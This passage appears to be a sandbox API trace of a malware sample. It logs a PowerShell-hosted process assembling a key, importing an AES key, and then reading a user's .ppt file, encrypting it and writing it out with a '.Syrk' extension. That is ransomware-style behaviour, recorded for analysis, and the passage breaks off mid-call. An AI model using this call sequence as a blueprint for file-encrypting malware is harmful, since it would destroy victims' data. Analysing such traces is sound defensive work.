out: Memory=0x5c640ac) returned 0x0 [0218.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0218.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0218.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0218.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0218.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0218.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0218.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0218.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0218.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0218.689] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0218.689] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0218.690] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0218.690] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0218.690] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0218.690] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0218.690] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0218.690] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.690] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0218.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0218.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.691] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0218.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0218.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.691] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0218.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0218.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0218.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0218.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0218.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0218.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0218.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0218.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0218.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0218.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0218.693] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.693] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0218.693] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0218.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0218.693] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.693] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0218.693] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0218.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0218.693] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0218.694] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0218.694] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0218.694] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0218.694] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0218.694] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0218.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0218.694] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.695] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0218.695] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0218.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0218.695] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.695] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0218.695] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0218.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0218.695] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.695] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0218.695] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0218.696] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.696] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0218.696] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0218.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0218.696] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.697] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0218.697] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0218.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0218.697] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.697] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0218.697] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0218.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0218.697] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0218.698] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.698] EtwEventActivityIdControl () returned 0x0 [0218.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0218.698] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0218.698] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0218.700] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d100) returned 1 [0218.702] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24389d8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c69200) returned 1 [0218.702] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0218.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.703] EtwEventActivityIdControl () returned 0x0 [0218.703] EtwEventActivityIdControl () returned 0x0 [0218.703] EtwEventActivityIdControl () returned 0x0 [0218.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0218.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0218.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0218.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0218.711] EtwEventActivityIdControl () returned 0x0 [0218.711] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.712] EtwEventActivityIdControl () returned 0x0 [0218.712] EtwEventActivityIdControl () returned 0x0 [0218.712] EtwEventActivityIdControl () returned 0x0 [0219.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0219.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0219.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0219.046] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0219.047] GetFileType (hFile=0x454) returned 0x1 [0219.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0219.047] GetFileType (hFile=0x454) returned 0x1 [0219.047] EtwEventActivityIdControl () returned 0x0 [0219.047] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0219.051] EtwEventActivityIdControl () returned 0x0 [0219.051] EtwEventActivityIdControl () returned 0x0 [0219.051] EtwEventActivityIdControl () returned 0x0 [0219.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0219.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk", lpFilePart=0x0) returned 0x4a [0219.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0219.053] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0220.717] GetFileType (hFile=0x458) returned 0x1 [0220.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0220.718] GetFileType (hFile=0x458) returned 0x1 [0220.718] EtwEventActivityIdControl () returned 0x0 [0220.718] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x2488990 | out: pbBuffer=0x2488990) returned 1 [0220.720] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0220.720] CryptDuplicateKey (in: hKey=0x5c69200, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68d00) returned 1 [0220.720] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0220.720] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x4, pbData=0x2489cc8*=0x1, dwFlags=0x0) returned 1 [0220.720] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x1, pbData=0x2489c94, dwFlags=0x0) returned 1 [0220.721] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0220.721] EtwEventActivityIdControl () returned 0x0 [0220.721] EtwEventActivityIdControl () returned 0x0 [0220.721] EtwEventActivityIdControl () returned 0x0 [0220.726] EtwEventActivityIdControl () returned 0x0 [0220.726] ReadFile (in: hFile=0x454, lpBuffer=0x248cfe4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x248cfe4*, lpNumberOfBytesRead=0x5a2e6fc*=0x14e7, lpOverlapped=0x0) returned 1 [0220.728] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a0ffc*, pdwDataLen=0x5a2e6f0*=0x14e0, dwBufLen=0x14e0 | out: pbData=0x24a0ffc*, pdwDataLen=0x5a2e6f0*=0x14e0) returned 1 [0220.728] WriteFile (in: hFile=0x458, lpBuffer=0x2488a78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2488a78*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0220.729] ReadFile (in: hFile=0x454, lpBuffer=0x248cfe4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x248cfe4*, 